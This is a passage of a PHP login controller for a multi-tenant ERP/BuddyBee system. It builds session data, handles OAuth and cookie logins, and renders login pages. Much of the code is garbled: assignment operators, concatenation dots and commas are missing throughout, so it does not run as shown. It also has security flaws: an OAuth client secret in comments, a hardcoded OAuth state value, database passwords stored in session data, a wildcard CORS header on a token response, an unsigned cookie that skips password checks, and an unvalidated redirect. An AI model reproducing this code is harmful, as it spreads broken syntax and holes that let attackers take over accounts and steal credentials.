  3098.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3099.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3100.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3101.                                     $app_company_index $currAppId '_' $c;
  3102.                                     $company_locale $companyList[$c]['locale'];
  3103.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3104.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3105.                                 }
  3106.                             }
  3107.                         }
  3108.                     }
  3109.                     if (count($position_list_array) > 1) {
  3110.                         $userForcedRoute 'user_login_position';
  3111. //                        return $this->redirectToRoute("user_login_position");
  3112.                     } else {
  3113.                     }
  3114.                 } else {
  3115.                     $isEmailVerified 1;
  3116.                 }
  3117.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3118.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3119.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3120.                 ) {
  3121.                     $session_data = array(
  3122.                         UserConstants::USER_ID => $userId,
  3123.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3124.                         UserConstants::APPLICANT_ID => $applicantId,
  3125.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3126.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3127.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3128.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3129.                         UserConstants::SUPPLIER_ID => $supplierId,
  3130.                         UserConstants::CLIENT_ID => $clientId,
  3131.                         UserConstants::USER_TYPE => $userType,
  3132.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3133.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3134.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3135.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3136.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3137.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3138.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3139.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3140.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3141.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3142.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3143.                         UserConstants::USER_NAME => $userFullName,
  3144.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3145.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3146.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3147.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3148.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3149.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3150.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3151.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3152.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3153.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3154.                         UserConstants::USER_GOC_ID => $gocId,
  3155.                         UserConstants::USER_DB_NAME => $gocDbName,
  3156.                         UserConstants::USER_DB_USER => $gocDbUser,
  3157.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3158.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3159.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3160.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3161.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3162.                         UserConstants::USER_LOGIN_ID => $loginID,
  3163.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3164.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3165.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3166.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3167.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3168.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3169.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3170.                         'REMEMBERME' => $remember_me,
  3171.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3172.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3173.                         'oAuthToken' => $oAuthToken,
  3174.                         'locale' => $locale,
  3175.                         'firebaseToken' => $firebaseToken,
  3176.                         'token' => $session->get('token'),
  3177.                         'firstLogin' => $firstLogin,
  3178.                         'oAuthImage' => $oAuthImage,
  3179.                         'appIdList' => json_encode($appIdList),
  3180.                         'branchIdList' => json_encode($branchIdList),
  3181.                         'branchId' => $branchId,
  3182.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3183.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3184.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3185.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3186.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3187.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3188.                     );
  3189.                     $session_data $this->filterClientSessionData($session_data);
  3190.                     // HB360 H1b â€” claim any anonymous saved solar estimates carried by the
  3191.                     // visitor's cookie the moment an applicant session is established (signup
  3192.                     // funnels through login, so this one hook covers password, OAuth and
  3193.                     // signup). Fail-safe: attach must NEVER be able to break a login.
  3194.                     if ($userType == UserConstants::USER_TYPE_APPLICANT && $applicantId) {
  3195.                         try {
  3196.                             $hbAnonToken = (string) $request->cookies->get('hb360_anon''');
  3197.                             if ($hbAnonToken !== '') {
  3198.                                 (new \ApplicationBundle\Modules\HoneybeeWeb\Service\Hb360ProjectService(
  3199.                                     $this->getDoctrine()->getManager('company_group')
  3200.                                 ))->attachToken($hbAnonToken, (int) $applicantId$userEmail);
  3201.                                 // Funnel landing: a visitor who came through the estimator
  3202.                                 // (cookie present) should land on their saved estimate, not
  3203.                                 // the company list. Reuse the existing pre-login-URI redirect
  3204.                                 // mechanism; never override a genuinely stored URI.
  3205.                                 if (empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3206.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$this->generateUrl('hb360_my_estimate'));
  3207.                                 }
  3208.                             }
  3209.                         } catch (\Throwable $hbE) { /* saved-estimate attach is best-effort */ }
  3210.                     }
  3211.                     if ($systemType == '_CENTRAL_') {
  3212.                         $accessList = [];
  3213. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3214.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3215.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3216.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3217.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3218.                                     $d = array(
  3219.                                         'userType' => $thisUserUserType,
  3220. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3221.                                         'userTypeName' => $userTypeName,
  3222.                                         'globalId' => $globalId,
  3223.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3224.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3225.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3226.                                         'systemType' => '_ERP_',
  3227.                                         'companyId' => 1,
  3228.                                         'appId' => $thisUserAppId,
  3229.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3230.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3231.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3232.                                                 array(
  3233.                                                     'globalId' => $globalId,
  3234.                                                     'appId' => $thisUserAppId,
  3235.                                                     'authenticate' => 1,
  3236.                                                     'userType' => $thisUserUserType,
  3237.                                                     'userTypeName' => $userTypeName
  3238.                                                 )
  3239.                                             )
  3240.                                         ),
  3241.                                         'userCompanyList' => [
  3242.                                         ]
  3243.                                     );
  3244.                                     $accessList[] = $d;
  3245.                                 }
  3246.                             }
  3247.                         }
  3248.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3249.                         $session_data['userAccessList'] = $accessList;
  3250.                     }
  3251.                     $ultimateData System::setSessionForUser($em_goc,
  3252.                         $session,
  3253.                         $session_data,
  3254.                         $config
  3255.                     );
  3256. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3257.                     $session_data $ultimateData['sessionData'];
  3258.                     $session_data $this->filterClientSessionData($session_data);
  3259.                     $token $ultimateData['token'];
  3260.                     $session->set('token'$token);
  3261.                     if ($systemType == '_CENTRAL_') {
  3262.                         $session->set('csToken'$token);
  3263.                     } else {
  3264.                         $session->set('csToken'$csToken);
  3265.                     }
  3266.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3267.                         $session->set('remoteVerified'1);
  3268.                         $response = new JsonResponse(array(
  3269.                             'token' => $token,
  3270.                             'uid' => $session->get(UserConstants::USER_ID),
  3271.                             'session' => $session,
  3272.                             'email' => $session_data['userEmail'],
  3273.                             'success' => true,
  3274.                             'session_data' => $session_data,
  3275.                         ));
  3276.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3277.                         return $response;
  3278.                     }
  3279.                     //TEMP START
  3280.                     if ($systemType == '_CENTRAL_') {
  3281.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3282.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3283.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3284.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3285.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3286.                                     return $this->redirect($red);
  3287.                                 }
  3288.                             } else {
  3289.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3290.                             }
  3291.                         } else
  3292.                             return $this->redirectToRoute('central_landing');
  3293.                     }
  3294.                     if ($systemType == '_SOPHIA_') {
  3295.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3296.                     }
  3297.                     //TREMP END
  3298.                     if ($userForcedRoute != '')
  3299.                         return $this->redirectToRoute($userForcedRoute);
  3300.                     if ($request->request->has('referer_path')) {
  3301.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3302.                             return $this->redirect($request->request->get('referer_path'));
  3303.                         }
  3304.                     }
  3305.                     if ($request->query->has('refRoute')) {
  3306.                         if ($request->query->get('refRoute') == '8917922')
  3307.                             $userDefaultRoute 'apply_for_consultant';
  3308.                     }
  3309.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3310.                         $userDefaultRoute 'dashboard';
  3311.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3312.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3313.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3314.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3315.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3316.                                 return $this->redirect($red);
  3317.                             }
  3318.                         } else {
  3319.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3320.                         }
  3321.                     } else
  3322.                         return $this->redirectToRoute($userDefaultRoute);
  3323.                 }
  3324.             }
  3325.         }
  3326.         $session $request->getSession();
  3327.         $session->set('systemType'$systemType);
  3328.         if (isset($encData['appId'])) {
  3329.             if (isset($gocDataListByAppId[$encData['appId']]))
  3330.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3331.         }
  3332.         $routeName $request->attributes->get('_route');
  3333.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3334.             $refRoute '';
  3335.             $message '';
  3336.             $errorField '_NONE_';
  3337.             if ($refRoute != '') {
  3338.                 if ($refRoute == '8917922')
  3339.                     $redirectRoute 'apply_for_consultant';
  3340.             }
  3341.             if ($request->query->has('refRoute')) {
  3342.                 $refRoute $request->query->get('refRoute');
  3343.                 if ($refRoute == '8917922')
  3344.                     $redirectRoute 'apply_for_consultant';
  3345.             }
  3346.             $google_client = new Google_Client();
  3347. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3348. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3349.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3350.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3351.             } else {
  3352.                 $url $this->generateUrl(
  3353.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3354.                 );
  3355.             }
  3356.             $selector BuddybeeConstant::$selector;
  3357.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3358. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3359.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3360. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3361.             $google_client->setRedirectUri($url);
  3362.             $google_client->setAccessType('offline');        // offline access
  3363.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3364.             $google_client->setRedirectUri($url);
  3365.             $google_client->addScope('email');
  3366.             $google_client->addScope('profile');
  3367.             $google_client->addScope('openid');
  3368.             return $this->render(
  3369.                 '@Authentication/pages/views/applicant_login.html.twig',
  3370.                 [
  3371.                     'page_title' => 'BuddyBee Login',
  3372.                     'oAuthLink' => $google_client->createAuthUrl(),
  3373.                     'redirect_url' => $url,
  3374.                     'message' => $message,
  3375.                     'errorField' => '',
  3376.                     'systemType' => $systemType,
  3377.                     'ownServerId' => $ownServerId,
  3378.                     'refRoute' => $refRoute,
  3379.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3380.                     'selector' => $selector
  3381.                 ]
  3382.             );
  3383.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3384.             $refRoute '';
  3385.             $message '';
  3386.             $errorField '_NONE_';
  3387. //            if ($request->query->has('message')) {
  3388. //                $message = $request->query->get('message');
  3389. //
  3390. //            }
  3391. //            if ($request->query->has('errorField')) {
  3392. //                $errorField = $request->query->get('errorField');
  3393. //
  3394. //            }
  3395.             if ($refRoute != '') {
  3396.                 if ($refRoute == '8917922')
  3397.                     $redirectRoute 'apply_for_consultant';
  3398.             }
  3399.             if ($request->query->has('refRoute')) {
  3400.                 $refRoute $request->query->get('refRoute');
  3401.                 if ($refRoute == '8917922')
  3402.                     $redirectRoute 'apply_for_consultant';
  3403.             }
  3404.             $google_client = new Google_Client();
  3405. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3406. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3407.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3408.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3409.             } else {
  3410.                 $url $this->generateUrl(
  3411.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3412.                 );
  3413.             }
  3414.             $selector BuddybeeConstant::$selector;
  3415. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3416.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3417. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3418.             $google_client->setRedirectUri($url);
  3419.             $google_client->setAccessType('offline');        // offline access
  3420.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3421.             $google_client->setRedirectUri($url);
  3422.             $google_client->addScope('email');
  3423.             $google_client->addScope('profile');
  3424.             $google_client->addScope('openid');
  3425.             return $this->render(
  3426.                 '@Authentication/pages/views/central_login.html.twig',
  3427.                 [
  3428.                     'page_title' => 'Central Login',
  3429.                     'oAuthLink' => $google_client->createAuthUrl(),
  3430.                     'redirect_url' => $url,
  3431.                     'message' => $message,
  3432.                     'systemType' => $systemType,
  3433.                     'ownServerId' => $ownServerId,
  3434.                     'errorField' => '',
  3435.                     'refRoute' => $refRoute,
  3436.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3437.                     'selector' => $selector
  3438.                 ]
  3439.             );
  3440.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3441.             $refRoute '';
  3442.             $message '';
  3443.             $errorField '_NONE_';
  3444. //            if ($request->query->has('message')) {
  3445. //                $message = $request->query->get('message');
  3446. //
  3447. //            }
  3448. //            if ($request->query->has('errorField')) {
  3449. //                $errorField = $request->query->get('errorField');
  3450. //
  3451. //            }
  3452.             if ($refRoute != '') {
  3453.                 if ($refRoute == '8917922')
  3454.                     $redirectRoute 'apply_for_consultant';
  3455.             }
  3456.             if ($request->query->has('refRoute')) {
  3457.                 $refRoute $request->query->get('refRoute');
  3458.                 if ($refRoute == '8917922')
  3459.                     $redirectRoute 'apply_for_consultant';
  3460.             }
  3461.             $google_client = new Google_Client();
  3462. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3463. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3464.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3465.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3466.             } else {
  3467.                 $url $this->generateUrl(
  3468.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3469.                 );
  3470.             }
  3471.             $selector BuddybeeConstant::$selector;
  3472. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3473.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3474. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3475.             $google_client->setRedirectUri($url);
  3476.             $google_client->setAccessType('offline');        // offline access
  3477.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3478.             $google_client->setRedirectUri($url);
  3479.             $google_client->addScope('email');
  3480.             $google_client->addScope('profile');
  3481.             $google_client->addScope('openid');
  3482.             return $this->render(
  3483.                 '@Sophia/pages/views/sofia_login.html.twig',
  3484.                 [
  3485.                     'page_title' => 'Central Login',
  3486.                     'oAuthLink' => $google_client->createAuthUrl(),
  3487.                     'redirect_url' => $url,
  3488.                     'message' => $message,
  3489.                     'systemType' => $systemType,
  3490.                     'ownServerId' => $ownServerId,
  3491.                     'errorField' => '',
  3492.                     'refRoute' => $refRoute,
  3493.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3494.                     'selector' => $selector
  3495.                 ]
  3496.             );
  3497.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3498.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3499.         } else
  3500.             return $this->render(
  3501.                 '@Authentication/pages/views/login_new.html.twig',
  3502.                 array(
  3503.                     "message" => $message,
  3504.                     'page_title' => 'Login',
  3505.                     'gocList' => $gocDataListForLoginWeb,
  3506.                     'gocId' => $gocId != $gocId '',
  3507.                     'systemType' => $systemType,
  3508.                     'ownServerId' => $ownServerId,
  3509.                     'encData' => $encData,
  3510.                     //                'ref'=>$request->
  3511.                 )
  3512.             );
  3513.     }
  3514.     public function doLoginForAppAction(Request $request$encData "",
  3515.                                                 $remoteVerify 0,
  3516.                                                 $applicantDirectLogin 0
  3517.     )
  3518.     {
  3519.         $message "";
  3520.         $email '';
  3521. //                            $userName = substr($email, 4);
  3522.         $userName '';
  3523.         $gocList = [];
  3524.         $skipPassword 0;
  3525.         $firstLogin 0;
  3526.         $remember_me 0;
  3527.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3528.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3529.         if ($request->isMethod('POST')) {
  3530.             if ($request->request->has('remember_me'))
  3531.                 $remember_me 1;
  3532.         } else {
  3533.             if ($request->query->has('remember_me'))
  3534.                 $remember_me 1;
  3535.         }
  3536.         if ($encData != "")
  3537.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3538.         else if ($request->query->has('spd')) {
  3539.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3540.         }
  3541.         $user = [];
  3542.         $userType 0//nothing for now , will add supp or client if we find anything
  3543.         $em_goc $this->getDoctrine()->getManager('company_group');
  3544.         $em_goc->getConnection()->connect();
  3545.         $gocEnabled 0;
  3546.         if ($this->container->hasParameter('entity_group_enabled'))
  3547.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3548.         if ($gocEnabled == 1)
  3549.             $connected $em_goc->getConnection()->isConnected();
  3550.         else
  3551.             $connected false;
  3552.         if ($connected)
  3553.             $gocList $em_goc
  3554.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3555.                 ->findBy(
  3556.                     array(//                        'active' => 1
  3557.                     )
  3558.                 );
  3559.         $gocDataList = [];
  3560.         $gocDataListForLoginWeb = [];
  3561.         $gocDataListByAppId = [];
  3562.         foreach ($gocList as $entry) {
  3563.             $d = array(
  3564.                 'name' => $entry->getName(),
  3565.                 'image' => $entry->getImage(),
  3566.                 'id' => $entry->getId(),
  3567.                 'appId' => $entry->getAppId(),
  3568.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3569.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3570.                 'dbName' => $entry->getDbName(),
  3571.                 'dbUser' => $entry->getDbUser(),
  3572.                 'dbPass' => $entry->getDbPass(),
  3573.                 'dbHost' => $entry->getDbHost(),
  3574.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3575.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3576.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3577.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3578.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3579.             );
  3580.             $gocDataList[$entry->getId()] = $d;
  3581.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3582.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3583.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3584.         }
  3585. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3586.         $gocDbName '';
  3587.         $gocDbUser '';
  3588.         $gocDbPass '';
  3589.         $gocDbHost '';
  3590.         $gocId 0;
  3591.         $appId 0;
  3592.         $hasGoc 0;
  3593.         $userId 0;
  3594.         $userCompanyId 0;
  3595.         $specialLogin 0;
  3596.         $supplierId 0;
  3597.         $applicantId 0;
  3598.         $isApplicantLogin 0;
  3599.         $clientId 0;
  3600.         $cookieLogin 0;
  3601.         $encrypedLogin 0;
  3602.         $loginID 0;
  3603.         $supplierId 0;
  3604.         $clientId 0;
  3605.         $userId 0;
  3606.         $globalId 0;
  3607.         $applicantId 0;
  3608.         $employeeId 0;
  3609.         $userCompanyId 0;
  3610.         $company_id_list = [];
  3611.         $company_name_list = [];
  3612.         $company_image_list = [];
  3613.         $route_list_array = [];
  3614.         $prohibit_list_array = [];
  3615.         $company_dark_vibrant_list = [];
  3616.         $company_vibrant_list = [];
  3617.         $company_light_vibrant_list = [];
  3618.         $currRequiredPromptFields = [];
  3619.         $oAuthImage '';
  3620.         $appIdList '';
  3621.         $userDefaultRoute '';
  3622.         $userForcedRoute '';
  3623.         $branchIdList '';
  3624.         $branchId 0;
  3625.         $companyIdListByAppId = [];
  3626.         $companyNameListByAppId = [];
  3627.         $companyImageListByAppId = [];
  3628.         $position_list_array = [];
  3629.         $curr_position_id 0;
  3630.         $allModuleAccessFlag 0;
  3631.         $lastSettingsUpdatedTs 0;
  3632.         $isConsultant 0;
  3633.         $isAdmin 0;
  3634.         $isModerator 0;
  3635.         $isRetailer 0;
  3636.         $retailerLevel 0;
  3637.         $adminLevel 0;
  3638.         $moderatorLevel 0;
  3639.         $userEmail '';
  3640.         $userImage '';
  3641.         $userFullName '';
  3642.         $triggerResetPassword 0;
  3643.         $isEmailVerified 0;
  3644.         $currentTaskId 0;
  3645.         $currentPlanningItemId 0;
  3646. //                $currentTaskAppId = 0;
  3647.         $buddybeeBalance 0;
  3648.         $buddybeeCoinBalance 0;
  3649.         $entityUserbalance 0;
  3650.         $userAppIds = [];
  3651.         $userTypesByAppIds = [];
  3652.         $currentMonthHolidayList = [];
  3653.         $currentHolidayCalendarId 0;
  3654.         $oAuthToken $request->request->get('oAuthToken''');
  3655.         $locale $request->request->get('locale''');
  3656.         $firebaseToken $request->request->get('firebaseToken''');
  3657.         if ($request->request->has('gocId')) {
  3658.             $hasGoc 1;
  3659.             $gocId $request->request->get('gocId');
  3660.         }
  3661.         if ($request->request->has('appId')) {
  3662.             $hasGoc 1;
  3663.             $appId $request->request->get('appId');
  3664.         }
  3665.         if (isset($encData['appId'])) {
  3666.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3667.                 $hasGoc 1;
  3668.                 $appId $encData['appId'];
  3669.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3670.             }
  3671.         }
  3672.         $csToken $request->get('csToken''');
  3673.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3674.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3675.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3676. //        if ($request->cookies->has('USRCKIE'))
  3677. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3678.         if (isset($encData['globalId'])) {
  3679.             if (isset($encData['authenticate']))
  3680.                 if ($encData['authenticate'] == 1)
  3681.                     $skipPassword 1;
  3682.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3683.                 $skipPassword 1;
  3684.                 $remember_me 1;
  3685.                 $globalId $encData['globalId'];
  3686.                 $appId $encData['appId'];
  3687.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3688.                 $userType $encData['userType'];
  3689.                 $userCompanyId 1;
  3690.                 $hasGoc 1;
  3691.                 $encrypedLogin 1;
  3692.                 if (in_array($userType, [67]))
  3693.                     $entityLoginFlag 1;
  3694.                 if (in_array($userType, [34]))
  3695.                     $specialLogin 1;
  3696.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3697.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3698.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3699.                     $supplierId $userId;
  3700.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3701.                     $applicantId $userId;
  3702.             }
  3703.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3704.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3705.             if ($cookieData == null)
  3706.                 $cookieData = [];
  3707.             if (isset($cookieData['uid'])) {
  3708.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3709.                     $skipPassword 1;
  3710.                     $remember_me 1;
  3711.                     $userId $cookieData['uid'];
  3712.                     $gocId $cookieData['gocId'];
  3713.                     $userCompanyId $cookieData['companyId'];
  3714.                     $userType $cookieData['ut'];
  3715.                     $hasGoc 1;
  3716.                     $cookieLogin 1;
  3717.                     if (in_array($userType, [67]))
  3718.                         $entityLoginFlag 1;
  3719.                     if (in_array($userType, [34]))
  3720.                         $specialLogin 1;
  3721.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3722.                         $clientId $userId;
  3723.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3724.                         $supplierId $userId;
  3725.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3726.                         $applicantId $userId;
  3727.                 }
  3728.             }
  3729.         }
  3730.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3731.             ///super login
